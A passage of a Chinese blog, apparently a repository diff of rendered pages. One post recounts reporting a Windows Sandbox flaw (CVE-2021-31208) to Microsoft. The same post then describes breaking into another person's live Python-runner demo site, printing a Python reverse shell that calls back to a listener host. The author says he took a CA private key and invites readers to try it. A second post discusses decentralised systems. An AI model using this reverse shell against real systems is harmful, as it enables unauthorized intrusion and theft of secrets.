于是昨两天,微软给我发邮箱说这个漏洞已经修好了,顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的,但是这个<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208">漏洞的描述页面</a>能把我的名字写上去这个我还是挺高兴的。 </p><p>
在我收到这个消息当天,我兴奋的顺手又黑掉了一个网站😂,难不成我的天赋在信息安全上?</p>
<h1 id="windows沙箱的漏洞发现过程与复现方法">
<a href="#windows沙箱的漏洞发现过程与复现方法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Windows沙箱的漏洞发现过程与复现方法
</h1>
<p>在几个月前我的电脑莫名其妙的被安装上了Microsoft Edge Beta版我明明从来没有安装过但是它就是莫名其妙的出现了。这么一安装我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的我不希望电脑上出现多余的东西像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。 </p><p>
一般来说Edge Beta都是手动安装的所以这种情况在“卸载或更改程序”里应该是可以发现的但是这个是莫名其妙被安装上的自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge网上搜到的答案一般就是在浏览器内核文件夹下找到<code class="language-plaintext highlighter-rouge">Installer</code>文件夹,然后在这个文件夹下执行命令<code class="language-plaintext highlighter-rouge">.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall</code>就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标而且Beta版里也没有我的Cookie和插件…… </p><p>
过了两天Windows更新了更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。 </p><p>
就以上这件事情搞的我很烦躁烦躁之后就想发泄发泄又不能对着我的电脑发泄于是我就打开了Windows沙箱把Windows沙箱里的Edge给卸载掉了。结果怎么着我物理机上的Edge也不见了这说明了啥问题我在沙箱里做的操作竟然影响到了物理机后来我经过测试发现微软似乎把物理机里的<code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\Microsoft\Edge\Application</code>文件夹映射到了沙箱里,而且没有做任何的限制。这可真是太可怕了,要知道沙箱相当于一个被信任执行危险东西的一个地方,那么使用它的人都是不会考虑里面运行的东西是不是安全的,看来阿三写的代码不行啊。假如我写一个程序,它把<code class="language-plaintext highlighter-rouge">msedge.exe</code>文件感染了比如说加个壳啥的物理机上用Edge的人应该也不少吧至少市场占有率都已经超过Firefox了那么在沙箱里Edge被感染的人在物理机上一旦运行那么物理机将陷入危险的境地。 </p><p>
最开始我发现了这个漏洞之后我是在反馈中心里提交的,不过那个看起来貌似一点点用都没有,微软是没有人会去看那个东西的,而且就算看到了也只会静悄悄的修复掉,你的反馈就和垃圾没什么区别。 </p><p>
后来我在百度上搜怎么向微软提交漏洞,百度简直就是个垃圾,没有搜到一点点有用的信息,之后看了半天我看到有一个文章说可以给 <a href="mailto:secure@microsoft.com">secure@microsoft.com</a> 发邮件来反馈BUG于是我就用英文写了篇文章来报告这个BUG。
不过我的方法并不正确因为微软有专门反馈BUG的网站也就是<a href="https://www.microsoft.com/zh-cn/msrc/">Microsoft Security Response Center</a>。你如果直接用邮箱报告他们当然也会回复,但是大概率得不到奖金,因为人家的报告一般都有格式,自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站,还是我发了邮件之后才知道原来可以在这里报告,所以如果大家以后找到微软的漏洞想报告,千万不要用那个垃圾“反馈中心”,也不要发邮件,最好直接在<a href="https://msrc.microsoft.com/create-report">这里</a>报告漏洞。 </p><p>
另外还有个问题就是如果真的得到了奖金拿到它也有点麻烦因为微软不能说是让你发个支付宝收款码之类的得先注册一个HackerOne或者Bugcrowd的账户而且从国外提款很麻烦所以如果不是那种经常能发现漏洞的或者是在安全公司里的人基本上这钱就还是别提了。</p>
<h2 id="复现的环境要求">
<a href="#复现的环境要求"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 复现的环境要求
</h2>
<p>这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧PoC那种东西我怎么可能会写傻子都知道怎么测试了吧所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱最早的有效版本我不太清楚因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的另外目前的话如果想要复现这个漏洞不能安装<a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5003173">KB5003173</a>补丁如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看只要在最新的Windows 10上卸载KB5003173补丁然后安装Windows沙箱就可以复现这个漏洞。</p>
<h2 id="人生中第一个自己贡献了的cve">
<a href="#人生中第一个自己贡献了的cve"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 人生中第一个自己贡献了的CVE
</h2>
<p>看来<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208">CVE-2021-31208</a>就是我贡献的了,以后只要在微软的<a href="https://msrc.microsoft.com/update-guide/acknowledgement">鸣谢列表</a>里搜索Mayx就可以搜到我找到的漏洞了虽然这个漏洞很简单但是自己的名字能写到那个列表里也挺令人高兴的啊。</p>
<h1 id="那天我黑掉的网站">
<a href="#那天我黑掉的网站"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 那天我黑掉的网站
</h1>
<p>5月12日那天有一名叫做<a href="https://github.com/Kingfish404">Kingfish404</a>的人Fork了我的博客结果第一眼看到了那个爬猎聘网的脚本吓得我还以为这位是我的老师因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣就看了看Ta的仓库。看着看着看到了一个可以<a href="https://github.com/Kingfish404/LearnPython">在线学习Python的网站源代码</a>我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站就像Python123那样就是因为他们那个服务要收费所以就想写个开源的不过因为如果直接用Python在服务器上运行的话实在是太危险了所以我想的是写一个使用Docker来运行Python并且评分的平台也许可以用k8s可惜我水平有限不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下结果发现这个人写的就是我说的那种危险方法运行Python脚本的看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了不过我也只是知道这个概念怎么用我还是不太清楚。然后就搜了一下看到了<a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">这篇文章</a>。嗯……现实中攻击还是要比CTF中攻击有意思然后我就在我的服务器上执行了一下<code class="language-plaintext highlighter-rouge">nc -lvvp 1234</code>,在它的代码执行框里执行:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span><span class="p">,</span><span class="n">subprocess</span><span class="p">,</span><span class="n">os</span>
<span class="n">s</span><span class="o">=</span><span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span><span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"remote-ip"</span><span class="p">,</span><span class="mi">1234</span><span class="p">))</span>
<span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">0</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">1</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">2</span><span class="p">)</span>
<span class="n">p</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">call</span><span class="p">([</span><span class="s">"/bin/sh"</span><span class="p">,</span><span class="s">"-i"</span><span class="p">])</span>
</code></pre></div></div>
<p>就这样我就成功的反弹了一个Shell虽然吧Ta给的权限不高但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。 </p><p>
所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>从以上来看,想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情,至少我不是信息安全专业的,所以只要有能注意到问题的思考方法,要正面面对问题,要刻意触发问题,知道问题出现在哪里,猜测问题可以做什么,那么谁都可以发现漏洞,虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗?</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%AE%89%E5%85%A8"><em>安全</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%BC%8F%E6%B4%9E"><em>漏洞</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%BD%91%E7%BB%9C"><em>网络</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-05-15-vulnerability.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/05/15/vulnerability.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/05/07/ssh.html">
上一篇:网络任意互联指南
</a>
</span>
<br />
<span class="next">
<a href="/2021/06/10/distributed.html">
下一篇:关于去中心化分布式系统的探索
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/05/15/vulnerability', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/05/15/vulnerability.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

318
2021/06/10/distributed.html Normal file
View File

@@ -0,0 +1,318 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>关于去中心化分布式系统的探索 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="关于去中心化分布式系统的探索" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="向开放的网络世界前进!" />
<meta property="og:description" content="向开放的网络世界前进!" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-06-10T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="关于去中心化分布式系统的探索" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-06-10T00:00:00+08:00","datePublished":"2021-06-10T00:00:00+08:00","description":"向开放的网络世界前进!","headline":"关于去中心化分布式系统的探索","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/06/10/distributed.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/06/10/distributed.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/06/10/distributed.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-06-10T00:00:00+08:00">10 June 2021</time> - 字数统计1566 - 阅读大约需要5分钟 - Hits: <span id="/2021/06/10/distributed.html" class="visitors">Loading...</span></small>
<h1 class="p-name">关于去中心化分布式系统的探索</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Thu, 10 Jun 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章探讨了去中心化分布式系统特别是区块链技术如比特币和区块链的分布式计算原理尤其是挖矿。作者最初倾向于BOINC式的有中心分布式计算认为它们更为实用但后来对区块链的去中心化特性产生了兴趣尤其是其不易被篡改和公平公开的特性。然而作者认为目前区块链的许多应用如挖矿浪费计算资源对数学研究的意义有限而且与中心化解决方案相比能源效率较低。作者希望未来能出现一个更高效、公平且能激励用户维护的去中心化系统可以通过量化资源并通过代币进行服务购买和激励。最后作者由于身体状况暂未深入讨论去中心化系统在现实中的应用。</p>
<hr />
<ul><li><a href="#过去">过去</a></li><li><a href="#现在">现在</a></li><li><a href="#未来">未来</a></li><li><a href="#后记">后记</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>向开放的网络世界前进!<!--more--></p>
<h1 id="过去">
<a href="#过去"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 过去
</h1>
<p>在6年前的某一天我在洗完澡之后突然想研究一下分布式计算那时候我在网上了解到的比较经典的两种大型分布式计算项目有两种一种是以BOINC为代表的有中心的分布式计算软件另外就是比特币为首的区块链应用。当时我了解完原理之后觉得比特币这种东西计算的完全都是没有意义的东西而且这个计算本身不能产生任何价值。而BOINC进行的大多数是为科学的计算虽然对我来说没有价值但是它至少是有意义的。所以我就选择了另外一条路也就是为使用BOINC的项目进行志愿计算。不过也正是这个原因我有了不少基于BOINC的<a href="https://www.worldcommunitygrid.org/stat/viewMemberInfo.do?userName=Mayx">World Community Grid</a>的点数,然后我就错过了发财的机会😂。</p>
<h1 id="现在">
<a href="#现在"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 现在
</h1>
<p>前段时间正好来了一次矿潮,我虽然对挖矿没什么兴趣但是还是被带上了车,不过我研究了一段时间发现虽然挖矿确实是个烂行为,但是它这个去中心化的分布式系统还是有点意思,它的特点就是如果相信它的人多,那么就没有人能摧毁它,而且内容都是公平公正公开的,谁都能看得见而且也不能被篡改。 </p><p>
不过这个所谓的区块链不是不能篡改,而是篡改难度很大,篡改它必须要比所有其他节点的计算能力都强,以至于可以很轻松的比其他节点多算出很多个有效区块,然后根据协议其他节点就只能去相信这条最长的链。不过具体细节我没太了解,所以如果说的不对也请各位指正。 </p><p>
但是目前来看的话区块链貌似除了加密货币还没有什么太多的应用而且我感觉它们大多数应用都是在做无用功像挖矿干的事情全部都是通过很消耗计算资源的方式来计算一些NP问题而且还是用像遍历这样的方法。要是说这个计算能为数学做出多大贡献那我觉得还是有意义的然而这计算的纯粹就只是比赛谁解题解的多然后还要给自己解的题签个名证明是自己解的然后通过这个稀有度提高价值外真的对这个世界没有一点点帮助。 </p><p>
虽然说区块链本身通过记录数据有点用或者像使用IPFS把存东西当作证明方法的Fil、还有ETH的什么智能合约啥的但是相比于消耗的能源来说还是很不合适的毕竟从理论上来说如果使用中心化的方式实现同样的功能消耗的资源要少太多了。 </p><p>
比如说像BOINC这种消耗的计算资源大多数都在为了解决实际问题或者是像PCDN消耗的存储与网络资源基本上都是为了要服务的用户所消耗。这些中心化的分布式系统资源利用率很高干的活基本上都是变成了实际有意义的东西虽然说Fil也有点意义吧……但是它在证明自己有这个资源的过程中要消耗大量的计算资源资源利用率实在是很低。还有就是BTT啥的不过那个我没太看懂而且也不怎么出名就不说了。最近貌似还有个啥BZZ也是个分布式存储的……总之不太了解的我还是不多加评论了。</p>
<h1 id="未来">
<a href="#未来"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 未来
</h1>
<p>不过我对这种去中心的分布式系统还是很看好的,这种就相当于是通过代码做中心,就像指导方案一样,而且通过数学的方式约束也更有公信力。像这样的系统更加难以破坏,而且很公平,相比于中心化的比如说公司或者政府更加容易被人相信。不过只要是系统那就还是得要人来维护,而人总是被利益驱动,所以如果没有奖励,也不会有人维护它,所以像用代币来激励维护系统的人这个我也能理解。 </p><p>
所以我希望以后能出现这样的一个系统,它可以精确的统计计算、存储以及网络资源,然后量化换成代币,而且这一过程不需要使用很多资源,使用这些资源的人可以通过代币来购买这些服务,然后为了保证服务质量,也可以通过质押之类的办法来让很多服务提供商来提高上线率之类的,然后服务商就是各个挖矿的用户,所以我也希望能不出现矿池这种情况,总之具体情况得等这个东西设计出来才行。</p>
<h1 id="后记">
<a href="#后记"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 后记
</h1>
<p>本来我还想说一说去中心化分布式系统与现实的关系,不过最近我又犯期末综合征了,身体各个系统都在返回<code class="language-plaintext highlighter-rouge">Status: Degraded</code>,希望别哪天给我<code class="language-plaintext highlighter-rouge">Status: Offline</code>了😂。 </p><p>
总之就是这样今天我先写到这里吧。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%88%86%E5%B8%83%E5%BC%8F"><em>分布式</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%8C%BA%E5%9D%97%E9%93%BE"><em>区块链</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-06-10-distributed.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
